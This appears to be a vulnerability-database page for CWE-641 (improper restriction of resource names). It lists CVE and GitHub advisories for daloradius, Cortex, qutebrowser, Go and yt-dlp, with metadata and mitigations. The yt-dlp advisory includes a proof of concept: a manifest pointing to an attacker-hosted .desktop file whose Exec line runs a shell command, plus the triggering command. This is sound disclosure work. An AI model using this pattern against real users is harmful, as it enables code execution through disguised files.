CWE-641
AllowedImproper Restriction of Names for Files and Other Resources
Abstraction: Base · Status: Incomplete
The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.
30 vulnerabilities reference this CWE, most recent first.
CVE-2023-0046 (GCVE-0-2023-0046)
Vulnerability from cvelistv5 – Published: 2023-01-04 00:00 – Updated: 2025-04-09 15:31- CWE-641 - Improper Restriction of Names for Files and Other Resources
| Vendor | Product | Version | |
|---|---|---|---|
| lirantal | lirantal/daloradius |
Affected:
unspecified , < master-branch
(custom)
|
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CVE-2022-36302 (GCVE-0-2022-36302)
Vulnerability from cvelistv5 – Published: 2022-08-01 14:03 – Updated: 2024-08-03 10:00- CWE-641 - Improper Restriction of Names for Files and Other Resources
| URL | Tags |
|---|---|
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CVE-2022-23536 (GCVE-0-2022-23536)
Vulnerability from cvelistv5 – Published: 2022-12-19 21:10 – Updated: 2025-04-16 18:23| URL | Tags |
|---|---|
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| Vendor | Product | Version | |
|---|---|---|---|
| cortexproject | cortex |
Affected:
>= 1.13.0, <= 1.13.1
Affected: = 1.14.0 |
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CVE-2021-41146 (GCVE-0-2021-41146)
Vulnerability from cvelistv5 – Published: 2021-10-21 17:35 – Updated: 2024-08-04 02:59| URL | Tags |
|---|---|
| https://github.com/qutebrowser/qutebrowser/securi… | x_refsource_CONFIRM |
| https://github.com/qutebrowser/qutebrowser/commit… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| qutebrowser | qutebrowser |
Affected:
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"impact": {
"cvss": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
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{
"description": [
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"value": "CWE-88: Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)"
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"value": "CWE-641: Improper Restriction of Names for Files and Other Resources"
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"references": {
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"dateReserved": "2021-09-15T00:00:00.000Z",
"dateUpdated": "2024-08-04T02:59:31.423Z",
"state": "PUBLISHED"
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"dataType": "CVE_RECORD",
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CVE-2019-25623 (GCVE-0-2019-25623)
Vulnerability from cvelistv5 – Published: 2026-03-23 13:48 – Updated: 2026-03-23 19:00- CWE-641 - Improper Restriction of Names for Files and Other Resources
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46130 | exploit |
| http://www.pixarra.com/ | product |
| http://www.pixarra.com/uploads/9/4/6/3/94635436/t… | product |
| https://www.vulncheck.com/advisories/luminance-st… | third-party-advisory |
| Vendor | Product | Version | |
|---|---|---|---|
| Pixarra | Luminance Studio |
Affected:
2.17
|
{
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"url": "http://www.pixarra.com/"
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"url": "http://www.pixarra.com/uploads/9/4/6/3/94635436/tbluminancestudio_install.exe"
},
{
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"tags": [
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"state": "PUBLISHED"
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GHSA-5MQ4-G7C8-JH32
Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-06-10 18:32Improper input validation in Microsoft Office allows an unauthorized attacker to execute code locally.
{
"affected": [],
"aliases": [
"CVE-2025-47173"
],
"database_specific": {
"cwe_ids": [
"CWE-641"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-10T17:23:53Z",
"severity": "HIGH"
},
"details": "Improper input validation in Microsoft Office allows an unauthorized attacker to execute code locally.",
"id": "GHSA-5mq4-g7c8-jh32",
"modified": "2025-06-10T18:32:31Z",
"published": "2025-06-10T18:32:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47173"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47173"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5W89-2C2X-6X66
Vulnerability from github – Published: 2026-04-08 03:32 – Updated: 2026-07-09 15:31SWIG file names containing 'cgo' and well-crafted payloads could lead to code smuggling and arbitrary code execution at build time due to trust layer bypass.
{
"affected": [],
"aliases": [
"CVE-2026-27140"
],
"database_specific": {
"cwe_ids": [
"CWE-641",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T02:16:02Z",
"severity": "HIGH"
},
"details": "SWIG file names containing \u0027cgo\u0027 and well-crafted payloads could lead to code smuggling and arbitrary code execution at build time due to trust layer bypass.",
"id": "GHSA-5w89-2c2x-6x66",
"modified": "2026-07-09T15:31:57Z",
"published": "2026-04-08T03:32:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27140"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27140.json"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4871"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU"
},
{
"type": "WEB",
"url": "https://go.dev/issue/78335"
},
{
"type": "WEB",
"url": "https://go.dev/cl/763768"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456341"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-27140"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34099"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25182"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:23246"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:16698"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:16697"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:16694"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:16498"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:16497"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:16494"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:16024"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:16021"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:10704"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:10219"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:10217"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9RW8-HQCQ-VXH4
Vulnerability from github – Published: 2023-01-04 12:30 – Updated: 2023-01-10 21:30Improper Restriction of Names for Files and Other Resources in GitHub repository lirantal/daloradius prior to master-branch.
{
"affected": [],
"aliases": [
"CVE-2023-0046"
],
"database_specific": {
"cwe_ids": [
"CWE-641"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-04T12:15:00Z",
"severity": "HIGH"
},
"details": "Improper Restriction of Names for Files and Other Resources in GitHub repository lirantal/daloradius prior to master-branch.",
"id": "GHSA-9rw8-hqcq-vxh4",
"modified": "2023-01-10T21:30:33Z",
"published": "2023-01-04T12:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0046"
},
{
"type": "WEB",
"url": "https://github.com/lirantal/daloradius/commit/2013c2d1231e99dac918247b69b198ded1f30a1c"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/2214dc41-f283-4342-95b1-34a2f4fea943"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C6MH-FPJC-4PR3
Vulnerability from github – Published: 2026-06-16 20:59 – Updated: 2026-06-16 20:59Summary
A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519.
Details
The fix for CVE-2024-38519 enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as .exe or .sh) during file downloads. However, this allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.
Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a malicious URI (e.g., URI="http://attacker/x.desktop"), which would result in yt-dlp writing the attacker-controlled content to a file with a .desktop extension if the user had passed the --write-subs option.
Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.
While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution.
Proof of Concept
1. Start a malicious server:
Host a malicious master.m3u8 manifest that points to malicious subtitle payloads:
#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"
And host the payload.desktop file with malicious content:
[Desktop Entry]
Type=Application
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
Name=Subtitle
2. Trigger the download:
In this case, the generic extractor triggers the exploit if the --write-subs option is used:
yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"
Result: yt-dlp writes MyVideo.en.desktop to disk, containing the attacker payload.
Patches
yt-dlp version 2026.06.09 fixes this issue by removing .url, .desktop and .webloc from the global file extension allowlist, and by only allowing those file types to be written from within the context of the --write-link options' functionality.
Workarounds
It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.
Users who are not able to upgrade should do ALL of the following:
- Only pass fully trusted input URLs to yt-dlp
- Do not use the
--write-subs,--write-auto-subs,--embed-subs,--write-thumbnail,--write-all-thumbnails, or--embed-thumbnailoptions - Use
--format -to interactively select download formats and validate their file extensions
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2026.06.09"
},
"package": {
"ecosystem": "PyPI",
"name": "yt-dlp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.6.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50023"
],
"database_specific": {
"cwe_ids": [
"CWE-641"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T20:59:42Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as `.desktop`, `.url`, `.webloc`) to the user\u0027s filesystem, bypassing the remediation for `CVE-2024-38519`. \n\n### Details\nThe fix for `CVE-2024-38519` enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as `.exe` or `.sh`) during file downloads. However, this allowlist explicitly included the unsafe extensions `.desktop`, `.url`, and `.webloc` so that the functionality of the `--write-link` option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.\n\nNumerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an `EXT-X-MEDIA:TYPE=SUBTITLES` tag with a malicious URI (e.g., `URI=\"http://attacker/x.desktop\"`), which would result in yt-dlp writing the attacker-controlled content to a file with a `.desktop` extension if the user had passed the `--write-subs` option.\n\nWriting OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments. \n\nWhile these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a \"subtitles\"/media file, leading to a phishing attack or arbitrary code execution.\n\n### Proof of Concept\n**1. Start a malicious server:**\nHost a malicious `master.m3u8` manifest that points to malicious subtitle payloads:\n```m3u8\n#EXTM3U\n#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID=\"subs\",NAME=\"English\",URI=\"http://attacker/payload.desktop\",LANGUAGE=\"en\"\n```\nAnd host the `payload.desktop` file with malicious content:\n```ini\n[Desktop Entry]\nType=Application\nExec=sh -c \"touch /tmp/ytdlp_pwned_$(id -u)\"\nName=Subtitle\n```\n\n**2. Trigger the download:**\nIn this case, the generic extractor triggers the exploit if the `--write-subs` option is used:\n```bash\nyt-dlp --write-subs -o \"MyVideo.%(ext)s\" \"http://attacker/master.m3u8\"\n```\n\n**Result:** yt-dlp writes `MyVideo.en.desktop` to disk, containing the attacker payload.\n\n### Patches\nyt-dlp version 2026.06.09 fixes this issue by removing `.url`, `.desktop` and `.webloc` from the global file extension allowlist, and by only allowing those file types to be written from within the context of the `--write-link` options\u0027 functionality.\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.\n\nUsers who are not able to upgrade should do ALL of the following:\n\n- Only pass fully **trusted** input URLs to yt-dlp\n- Do not use the `--write-subs`, `--write-auto-subs`, `--embed-subs`, `--write-thumbnail`, `--write-all-thumbnails`, or `--embed-thumbnail` options\n- Use `--format -` to interactively select download formats and validate their file extensions",
"id": "GHSA-c6mh-fpjc-4pr3",
"modified": "2026-06-16T20:59:42Z",
"published": "2026-06-16T20:59:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-c6mh-fpjc-4pr3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38519"
},
{
"type": "WEB",
"url": "https://github.com/yt-dlp/yt-dlp/commit/e578e265f7c6ca94a74b30e0d8d6196a4d19fb6a"
},
{
"type": "PACKAGE",
"url": "https://github.com/yt-dlp/yt-dlp"
},
{
"type": "WEB",
"url": "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517"
},
{
"type": "WEB",
"url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "yt-dlp: Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519)"
}
GHSA-CQ2G-PW6Q-HF7J
Vulnerability from github – Published: 2022-12-19 21:09 – Updated: 2023-10-02 11:04Impact
A local file inclusion vulnerability exists in Cortex versions v1.13.0, v1.13.1 and v1.14.0, where a malicious actor could remotely read local files as a result of parsing maliciously crafted Alertmanager configurations when submitted to the Alertmanager Set Configuration API. Only users of the Cortex Alertmanager service using -experimental.alertmanager.enable-api or enable_api: true are affected.
Specific Go Packages Affected
github.com/cortexproject/cortex/pkg/alertmanager
Patches
Affected Cortex users are advised to upgrade to versions 1.13.2 or 1.14.1.
Workarounds
Patching is ultimately advised. Using out-of-bound validation, Cortex administrators may reject Alertmanager configurations containing the api_key_file setting in the opsgenie_configs section and opsgenie_api_key_file in the global section before sending to the Set Alertmanager Configuration API as a workaround.
References
- Fixed Versions:
- https://github.com/cortexproject/cortex/releases/tag/v1.14.1
- https://github.com/cortexproject/cortex/releases/tag/v1.13.2
- https://cortexmetrics.io/docs/api/#set-alertmanager-configuration
For more information
If you have any questions or comments about this advisory:
- Open an issue in cortex
- Email us at cortex-team@googlegroups.com.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cortexproject/cortex"
},
"ranges": [
{
"events": [
{
"introduced": "1.14.0"
},
{
"fixed": "1.14.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.14.0"
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cortexproject/cortex"
},
"ranges": [
{
"events": [
{
"introduced": "1.13.0"
},
{
"fixed": "1.13.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-23536"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-641",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-19T21:09:05Z",
"nvd_published_at": "2022-12-19T22:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA local file inclusion vulnerability exists in Cortex versions v1.13.0, v1.13.1 and v1.14.0, where a malicious actor could remotely read local files as a result of parsing maliciously crafted Alertmanager configurations when submitted to the [Alertmanager Set Configuration API](https://cortexmetrics.io/docs/api/#set-alertmanager-configuration). Only users of the Cortex Alertmanager service using `-experimental.alertmanager.enable-api` or `enable_api: true` are affected.\n\n### Specific Go Packages Affected\ngithub.com/cortexproject/cortex/pkg/alertmanager\n\n### Patches\nAffected Cortex users are advised to upgrade to versions 1.13.2 or 1.14.1.\n\n### Workarounds\nPatching is ultimately advised. Using out-of-bound validation, Cortex administrators may reject Alertmanager configurations containing the `api_key_file` setting in the `opsgenie_configs` section and `opsgenie_api_key_file` in the `global` section before sending to the [Set Alertmanager Configuration API](https://cortexmetrics.io/docs/api/#set-alertmanager-configuration) as a workaround.\n\n### References\n- Fixed Versions:\n - https://github.com/cortexproject/cortex/releases/tag/v1.14.1\n - https://github.com/cortexproject/cortex/releases/tag/v1.13.2\n- https://cortexmetrics.io/docs/api/#set-alertmanager-configuration\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [cortex](https://github.com/cortexproject/cortex/issues/new/choose)\n* Email us at [cortex-team@googlegroups.com](mailto:cortex-team@googlegroups.com).\n",
"id": "GHSA-cq2g-pw6q-hf7j",
"modified": "2023-10-02T11:04:41Z",
"published": "2022-12-19T21:09:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cortexproject/cortex/security/advisories/GHSA-cq2g-pw6q-hf7j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23536"
},
{
"type": "WEB",
"url": "https://github.com/cortexproject/cortex/commit/03e023d8b012887b31cc268d0d011b01e1e65506"
},
{
"type": "WEB",
"url": "https://cortexmetrics.io/docs/api/#set-alertmanager-configuration"
},
{
"type": "PACKAGE",
"url": "https://github.com/cortexproject/cortex"
},
{
"type": "WEB",
"url": "https://github.com/cortexproject/cortex/releases/tag/v1.13.2"
},
{
"type": "WEB",
"url": "https://github.com/cortexproject/cortex/releases/tag/v1.14.1"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-1175"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cortex\u0027s Alertmanager can expose local files content via specially crafted config"
}
Mitigation
Do not allow users to control names of resources used on the server side.
Mitigation
Perform allowlist input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.
Mitigation
Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.
No CAPEC attack patterns related to this CWE.